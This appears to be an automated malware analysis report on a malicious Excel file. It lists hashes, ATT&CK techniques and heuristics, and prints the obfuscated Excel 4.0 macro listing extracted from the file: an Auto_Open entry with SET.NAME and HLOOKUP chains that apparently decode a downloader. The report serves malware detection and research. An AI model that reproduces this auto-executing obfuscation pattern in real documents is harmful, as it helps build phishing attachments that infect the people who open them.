Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcf330a72c681e8c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:40 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6d5d45b0bc4e3e7c1094dbf552130b6d SHA-1: 97ef3efdc1f5fae5c515d1328319368f10e31164 SHA-256: dcf330a72c681e8c2ee35fe81d3a53fd7c975065989899084098e6c0cca31b35
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel file containing Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical indicator of malicious intent. The presence of dangerous formula APIs further supports this. These macros are designed to execute automatically, suggesting the file is intended to act as a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6786 bytes
SHA-256: 39ed6bfd41091ec82fe2d20673051da2fef3c67994fd67a2f9207ac6a49ede79
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  phVLTxthJQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A147 
' 0018     20 LABEL : Cell Value, String Constant - CpJtN len=0 
' 0018     23 LABEL : Cell Value, String Constant - EGVzWVpH len=0 
' 0018     26 LABEL : Cell Value, String Constant - EzuCMqOPCCf len=0 
' 0018     21 LABEL : Cell Value, String Constant - FdXart len=0 
' 0018     23 LABEL : Cell Value, String Constant - fSNIgJUg len=0 
' 0018     24 LABEL : Cell Value, String Constant - HKUTCZllW len=0 
' 0018     25 LABEL : Cell Value, String Constant - jAceoicYMA len=0 
' 0018     20 LABEL : Cell Value, String Constant - JVsmC len=0 
' 0018     20 LABEL : Cell Value, String Constant - MkZsP len=0 
' 0018     23 LABEL : Cell Value, String Constant - mLeiraCu len=0 
' 0018     21 LABEL : Cell Value, String Constant - mVJhFi len=0 
' 0018     25 LABEL : Cell Value, String Constant - pjqRmTRtsA len=0 
' 0018     23 LABEL : Cell Value, String Constant - qOEVELmb len=0 
' 0018     24 LABEL : Cell Value, String Constant - qqaOeaTMN len=0 
' 0018     26 LABEL : Cell Value, String Constant - ROCJrCReynh len=0 
' 0018     22 LABEL : Cell Value, String Constant - RwERzue len=0 
' 0018     21 LABEL : Cell Value, String Constant - thCDCF len=0 
' 0018     24 LABEL : Cell Value, String Constant - thmtgYZcz len=0 
' 0018     24 LABEL : Cell Value, String Constant - XdCUHvtPg len=0 
' 0018     20 LABEL : Cell Value, String Constant - ynDXi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  phVLTxthJQ,A55,"SET.NAME("EGVzWVpH",0+VALUE("0"))",""
'  phVLTxthJQ,A58,"SET.NAME("JVsmC",EGVzWVpH)",""
'  phVLTxthJQ,A62,"SET.NAME("HKUTCZllW",EGVzWVpH)",""
'  phVLTxthJQ,A67,"SET.NAME("mVJhFi",COUNTA(MkZsP))",""
'  phVLTxthJQ,A72,"SET.NAME("CpJtN",COUNTA(RwERzue))",""
'  phVLTxthJQ,A77,[],""
'  phVLTxthJQ,A80,"SET.NAME("EzuCMqOPCCf","")",""
'  phVLTxthJQ,A85,"JVsmC",""
'  phVLTxthJQ,A87,"SET.NAME("qOEVELmb",HLOOKUP("*",MkZsP,JVsmC,FALSE))",""
'  phVLTxthJQ,A92,"FdXart",""
'  phVLTxthJQ,A95,"SET.NAME("pjqRmTRtsA",EGVzWVpH)",""
'  phVLTxthJQ,T97,"",505.00000000000000000000
'  phVLTxthJQ,T98,"",263.00000000000000000000
'  phVLTxthJQ,A99,[],""
'  phVLTxthJQ,T99,"",-526.00000000000000000000
'  phVLTxthJQ,T100,"",-892.00000000000000000000
'  phVLTxthJQ,T101,"",307.00000000000000000000
'  phVLTxthJQ,A102,"pjqRmTRtsA",""
'  phVLTxthJQ,T102,"",175.00000000000000000000
'  phVLTxthJQ,A107,"ROCJrCReynh",""
'  phVLTxthJQ,A110,"thCDCF",""
'  phVLTxthJQ,A113,"fSNIgJUg",""
'  phVLTxthJQ,A118,"SET.NAME("XdCUHvtPg",VALUE(HLOOKUP("*",RwERzue,fSNIgJUg,FALSE)))",""
'  phVLTxthJQ,A121,"jAceoicYMA",""
'  phVLTxthJQ,A123,"EzuCMqOPCCf",""
'  phVLTxthJQ,A126,"HKUTCZllW",""
'  phVLTxthJQ,A128,NEXT(),""
'  phVLTxthJQ,A131,"ynDXi",""
'  phVLTxthJQ,A134,[],""
'  phVLTxthJQ,A136,"qqaOeaTMN",""
'  phVLTxthJQ,A139,NEXT(),""
'  phVLTxthJQ,A144,RETURN(),""
'  phVLTxthJQ,A170,"SET.NAME("thmtgYZcz",A55)",""
'  phVLTxthJQ,A173,"MkZsP",""
'  phVLTxthJQ,A176,"SET.NAME("RwERzue",R83C11)",""
'  phVLTxthJQ,A179,"SET.NAME("qqaOeaTMN",186)",""
'  phVLTxthJQ,A182,"SET.NAME("mLeiraCu",1)",""
'  phVLTxthJQ,A185,thmtgYZcz(),""
'  phVLTxthJQ,A186,HALT(),""

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